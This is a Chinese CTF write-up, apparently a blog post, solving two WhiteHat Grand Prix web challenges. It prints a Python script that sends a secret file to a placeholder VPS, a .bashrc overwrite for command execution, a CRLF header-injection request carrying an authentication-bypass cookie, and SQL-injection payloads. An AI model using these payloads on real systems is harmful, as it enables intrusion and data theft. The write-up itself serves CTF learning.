昨晚听说有个国外的比赛叫whitehat,做了一会儿发现思路停滞,本打算今天再做,发现已经结束了,按老外的思路,走了一遍,还是挺有意思的
题目都没关,大家还能趁热复现一下~~
题目链接:
http://web01.grandprix.whitehatvn.com/
题目描述
Description: manhndd is running a service file upload at web01.grandprix.whitehatvn.com, it is restored every 2 minutes. Every 1 minute after service starts, he ssh into server to check /var/secret. Can you get it?
Note: Player shouldn't Dos web01, you can get source code and run in local
刚拿到这道题的时候我走进了误区,题目给出了源代码
http://web01.grandprix.whitehatvn.com/SimpleHTTPServerWithUpload.py
看到SimpleHTTPServer
,我的第一反应是ph写的这篇文章
https://www.leavesongs.com/PENETRATION/python-http-server-open-redirect-vulnerability.html
我简单的测试了这个跳转的问题
http://web01.grandprix.whitehatvn.com//example.com/%2f..
我发现的确可以成功跳转
我本以为这里可能会出现任意文件读取的问题,因为这里有flag的绝对路径/var/secret
但这里没有附带的框架来继承或者使用这个类,所以我们很难进行目录穿越的文件读取
毕竟不是web.py
或者django
想到这题本身是一个上传
我们随手测试一下,发现上传的目录是/opt
然后web会将目录列出来,我们可以任意访问该目录下的文件
我又尝试了一下目录穿越
发现没有写入权限
于是我尝试了一下tmp
发现部分目录是可写的
并且直接使用/tmp/1.png
这样,甚至不需要../../
这样穿越
既然这一点不行,我注意到了题目的提示
Every 1 minute after service starts, he ssh into server to check /var/secret.
我当时错误的理解为了每1分钟会重启一次服务,并且鬼迷心窍的想到了另一方法
因为我发现上传的路径和SimpleHTTPServerWithUpload.py
是同一个路径
当时我天真的以为,如果我在当前目录下上传一个文件名与SimpleHTTPServerWithUpload.py
import的库名一致,就会被引入
所以我利用Burp不断上传一个名为posixpath.py
的文件
内容为:
import requests
import base64
f = open('/var/secret','rb').read()
url = 'http://vps_ip:23333/?'+base64.b64encode(f)
r = requests.get(url=url)
我天真的以为在重启的时候,应该会引入这个文件,并且将flag打到我的vps
这里我利用了条件竞争与文件上传,应该满足题目的意思了吧,应该这样就是正解啦?
但是最终还是以失败告终,我的vps纹丝不动,没收到任何东西
后来看到writeup,才发现是
bashrc
profile
这里就要涉及到交互式shell和非交互式shell,login shell 和non-login shell
其中:
交互式模式就是shell等待你的输入,并且执行你提交的命令。这种模式被称作交互式是因为shell与用户进行交互。这种模式也是大多数用户非常熟悉的:登录、执行一些命令、退出。当你退出后,shell也终止了。
shell也可以运行在另外一种模式:非交互式模式。在这种模式下,shell不与你进行交互,而是读取存放在文件中的命令,并且执行它们。当它读到文件的结尾,shell也就终止了。
而bashrc与profile都用于保存用户的环境信息,bashrc用于non-loginshell,而profile用于login shell
所以这里bashrc
可能可以成为一个突破口,因为该文件包含专用于某个用户的bash shell的bash信息,当该用户登录时以及每次打开新的shell时,该文件被读取
所以,如果我们能将.bashrc
写到用户的目录下,在其每分钟打开ssh的时候,就会执行里面的命令,那么我们只要
cp /var/secret /opt/skysky
即可在当前目录下读到flag
我们首先测试一下,home有没有写权限
显然/home
目录是不行的,那我们如何知道用户名呢?
还是那个不起眼的题目描述
manhndd is running a service file upload at web01.grandprix.whitehatvn.com
难道这人叫manhndd
?
我们再试试
发现的确可以成功上传
那我们尝试覆盖上传.bashrc
用burp一边上传竞争覆盖,一边访问skysky这个文件
一段时间后即可收到flag
题目链接
http://web03.grandprix.whitehatvn.com:1337/
右键打开源代码,拉到最底下发现
<!--<label>@Buxu: Let's try to access admin page</label></br> -->
题目要求我们登入admin页面
按照这里题目给出的要出,我们输入
发现是404
那我们简单探测一下端口
如果端口开放
如果端口关闭
简单探测的结果为
发现8088有结果
应该是301跳转了,那我们加个index.php试试
保存成html页面,查看后发现
探测完端口,那么8088是什么服务的默认端口?还是说题目只是随便放在这个端口了?
若是,为什么不直接放在1337端口呢?
很快,我发现了自己的眼瞎= =
那页面里写着
Interspire Email Marketer
于是顺藤摸瓜搜了一下
没错,就是这个点非常瞩目
https://www.exploit-db.com/exploits/44513/
发现可以直接绕过admin的授权,即有这个cookie即可
IEM_CookieLogin=YTo0OntzOjQ6InVzZXIiO3M6MToiMSI7czo0OiJ0aW1lIjtpOjE1MDU0NzcyOTQ7czo0OiJyYW5kIjtiOjE7czo4OiJ0YWtlbWV0byI7czo5OiJpbmRleC5waHAiO30%3D
那我们如何发送cookie呢?
这里的方案无意只有一点,即CRLF,因为path与host的拼接,这里很容易让人联想到能不能进行http头注入
于是我们简单构造为
{"url_path":"admin/index.php HTTP/1.1\r\nCookie: IEM_CookieLogin=YTo0OntzOjQ6InVzZXIiO3M6MToiMSI7czo0OiJ0aW1lIjtpOjE1MDU0NzcyOTQ7czo0OiJyYW5kIjtiOjE7czo4OiJ0YWtlbWV0byI7czo5OiJpbmRleC5waHAiO30%3D\r\n","host":"127.0.0.1:8088"}
访问发现
保存为html查看一下
我们成功登入了
到此为止,感到无奈
而后看到writeup,才知道
https://www.exploit-db.com/exploits/37935/
还有一个漏洞可以利用,即sql注入(但是据说是非预期= =)
CVE中给出的payload是这样的
http://www.example.com/admin/index.php?Page=Addons&Addon=dynamiccontenttags&Action=Edit&id=-1%27+UNION+Select+1,2,3,4--%20- [SQLi]
http://www.example.com/admin/index.php?Page=Addons&Addon=dynamiccontenttags&Action=Edit&id=-1%27+UNION+Select+1,version%28%29,3,4--%20-[SQLi]
那我们仿照进行攻击即可
{"url_path":"admin/index.php?Page=Addons&Addon=dynamiccontenttags&Action=Edit&id=-1%27+UNION+Select+1,2,3,4--%20- HTTP/1.1\r\nCookie: IEM_CookieLogin=YTo0OntzOjQ6InVzZXIiO3M6MToiMSI7czo0OiJ0aW1lIjtpOjE1MDU0NzcyOTQ7czo0OiJyYW5kIjtiOjE7czo4OiJ0YWtlbWV0byI7czo5OiJpbmRleC5waHAiO30%3D\r\n","host":"127.0.0.1:8088"}
发现有过滤,于是我们还是老规矩,用字典fuzz一下
发现过滤的很少,考虑这里可能会对path进行urldecode,所以尝试了一下url编码绕过
union
%75nion
于是我们尝试
发现成功
注:由于有CVE,所以就不用测试列数了,就是4列
那我们去进行数据库探测,找到标志点
form_text" value="
方便后面我们取出数据,查看数据库名
查看表名
查看列名
读出数据
得到flag
WhiteHat{cbb66097f69c3938bfd4a157ab4ebe762a16c1b1}